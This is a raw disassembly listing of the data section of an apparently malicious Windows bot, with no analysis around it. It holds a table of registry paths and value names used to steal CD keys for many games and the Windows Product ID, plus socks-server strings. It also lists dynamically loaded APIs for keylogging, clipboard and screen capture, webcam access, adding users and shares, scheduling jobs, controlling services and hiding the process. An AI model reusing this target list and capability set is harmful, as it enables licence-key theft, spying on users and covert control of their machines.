		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 4
unk_427CB8	db    2			; DATA XREF: sub_40800A+18Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_427D04	db    2			; DATA XREF: sub_40800A+114o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_427D5C	db    2			; DATA XREF: sub_40800A+A8o
					; sub_40CE55+587Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_427D98	db    2			; DATA XREF: sub_40820F+1F9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_427DEC	db    2			; DATA XREF: sub_40820F+18Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
dword_427E3C	dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
					; DATA XREF: sub_40820F+F2o
		dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h,	69746E65h
		dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
		dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
		dd 0
		dd 80000001h
off_427E94	dd offset aSoftwareValveC ; DATA XREF: sub_4085D3+Cr
					; sub_4085D3+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427EA0	dd 2 dup(0)			dd 80000001h, 429028h, 42901Ch,	42900Ch, 2 dup(0)
		dd 80000001h, 428FECh, 428FE8h,	428FD4h, 2 dup(0)
		dd 80000001h, 428FB0h, 428FE8h,	428FA4h, 2 dup(0)
		dd 80000001h, 428F80h, 428F78h,	428F64h, 2 dup(0)
		dd 80000001h, 428F50h, 428F40h,	428F24h, 2 dup(0)
		dd 80000001h, 428EE0h, 429068h,	428ECCh, 2 dup(0)
		dd 80000002h, 428EA0h, 428E94h,	428E74h, 2 dup(0)
		dd 80000002h, 428E40h, 429068h,	428E28h, 2 dup(0)
		dd 80000002h, 428DF4h, 429068h,	428DDCh, 2 dup(0)
		dd 80000002h, 428DC4h, 429068h,	428DACh, 2 dup(0)
		dd 80000002h, 428D70h, 438FBCh,	428D60h, 2 dup(0)
		dd 80000002h, 428D28h, 438FBCh,	428D14h, 2 dup(0)
		dd 80000002h, 428CC8h, 438FBCh,	428CA8h, 2 dup(0)
		dd 80000002h, 428C58h, 438FBCh,	428C2Ch, 2 dup(0)
		dd 80000002h, 428BF0h, 438FBCh,	428BDCh, 2 dup(0)
		dd 80000002h, 428BA4h, 438FBCh,	428B94h, 2 dup(0)
		dd 80000002h, 428B44h, 438FBCh,	428B18h, 2 dup(0)
		dd 80000002h, 428AD8h, 438FBCh,	428ABCh, 2 dup(0)
		dd 80000002h, 428A8Ch, 438FBCh,	428A6Ch, 2 dup(0)
		dd 80000002h, 428A30h, 438FBCh,	428A1Ch, 2 dup(0)
		dd 80000002h, 4289D4h, 438FBCh,	4289B4h, 2 dup(0)
		dd 80000002h, 428960h, 438FBCh,	428930h, 2 dup(0)
		dd 80000002h, 4288E0h, 438FBCh,	4288B4h, 2 dup(0)
		dd 80000002h, 428874h, 42886Ch,	42884Ch, 2 dup(0)
		dd 80000002h, 428808h, 438FBCh,	4287ECh, 2 dup(0)
		dd 80000002h, 4287A0h, 438FBCh,	42877Ch, 2 dup(0)
		dd 80000002h, 428748h, 438FBCh,	42873Ch, 2 dup(0)
		dd 80000002h, 428708h, 438FBCh,	4286FCh, 2 dup(0)
		dd 80000002h, 4286C8h, 438FBCh,	4286BCh, 2 dup(0)
		dd 80000002h, 428688h, 438FBCh,	42867Ch, 2 dup(0)
		dd 80000002h, 428640h, 438FBCh,	42862Ch, 2 dup(0)
		dd 80000002h, 4285F0h, 438FBCh,	4285DCh, 2 dup(0)
		dd 80000002h, 4285ACh, 429068h,	428590h, 2 dup(0)
		dd 80000002h, 428570h, 428568h,	428544h, 2 dup(0)
		dd 80000002h, 428528h, 428568h,	428508h, 2 dup(0)
		dd 80000002h, 4284E8h, 428568h,	4284C4h, 2 dup(0)
		dd 80000002h, 4284ACh, 428568h,	4284A8h, 2 dup(0)
		dd 80000002h, 42848Ch, 42847Ch,	428474h, 2 dup(0)
		dd 80000002h, 428440h, 42843Ch,	428424h, 2 dup(0)
		dd 80000002h, 4283E8h, 4283DCh,	4283B4h, 4283A4h, 428390h
		dd 80000002h, 42836Ch, 428360h,	42834Ch, 42833Ch, 428334h
		dd 80000002h, 42836Ch, 428360h,	428308h, 42833Ch, 428300h
		dd 80000002h, 42836Ch, 428360h,	4282D0h, 42833Ch, 4282C8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:00427E9Co
aCdkey		db 'CDKey',0            ; DATA XREF: .nsp0:00427E98o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_427E94o
		align 4
asc_429098:				; DATA XREF: sub_4085D3+E9o
					; sub_4085D3+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_4085D3+8Fo
					; sub_40CE55:loc_4112ADo
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_4085D3+7Eo
					; sub_4088A0+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085D3+2Bo
		align 4
unk_4290BC	db    2			; DATA XREF: sub_408788+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_4290F0	db    2			; DATA XREF: sub_408788+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_4088A0+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_4088A0+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089F2+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089F2+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4089F2:loc_40962Do
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4089F2+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4089F2+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4089F2+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4089F2+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4089F2+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4089F2+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4089F2:loc_40958Fo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4089F2+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4089F2+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4089F2:loc_409545o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089F2+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089F2+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089F2+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089F2+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4089F2:loc_4094D1o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089F2+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4089F2+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4089F2:loc_409487o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089F2+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089F2+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4089F2:loc_40943Do
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089F2+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4089F2+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4089F2+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4089F2+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4089F2+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4089F2+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4089F2+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089F2+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4089F2+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4089F2+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4089F2+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4089F2:loc_409332o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4089F2+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4089F2+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4089F2+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4089F2:loc_4092D3o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089F2+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4089F2+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4089F2+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089F2+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089F2+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4089F2+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4089F2+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4089F2+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089F2+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089F2+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089F2+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4089F2:loc_4091B3o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4089F2+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4089F2+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4089F2+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4089F2+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4089F2+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4089F2+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4089F2+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4089F2+62Do
					; .nsp0:0042C5DCo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4089F2+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4089F2+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4089F2+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4089F2+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4089F2+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4089F2+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4089F2+5D2o
					; sub_40CE55+20D7o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4089F2+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4089F2+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4089F2+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4089F2+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4089F2+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4089F2+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4089F2+577o
					; .nsp0:0042C9ECo
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4089F2+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4089F2+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4089F2+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4089F2+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4089F2+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4089F2+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4089F2+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4089F2+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4089F2+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4089F2+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4089F2+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4089F2+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4089F2+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4089F2+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4089F2+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4089F2+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089F2+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4089F2+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4089F2+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4089F2:loc_408E01o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4089F2:loc_408DD9o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089F2+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089F2+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4089F2+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4089F2+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4089F2+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4089F2+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4089F2+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4089F2:loc_408D2Bo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089F2+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089F2+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4089F2:loc_408CE6o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4089F2+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4089F2+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4089F2+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4089F2+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4089F2+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4089F2+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4089F2:loc_408C51o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4089F2+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4089F2+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4089F2+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089F2:loc_408BEAo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4089F2+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4089F2+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4089F2+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4089F2+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4089F2+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4089F2+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4089F2+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4089F2+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4089F2:loc_408B27o
					; sub_41E6EE+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089F2:loc_408AFAo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089F2+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089F2+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4089F2+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4089F2+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089F2+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089F2+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4089F2+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4089F2+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4089F2+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089F2+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4089F2+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4089F2+Ao
		align 4
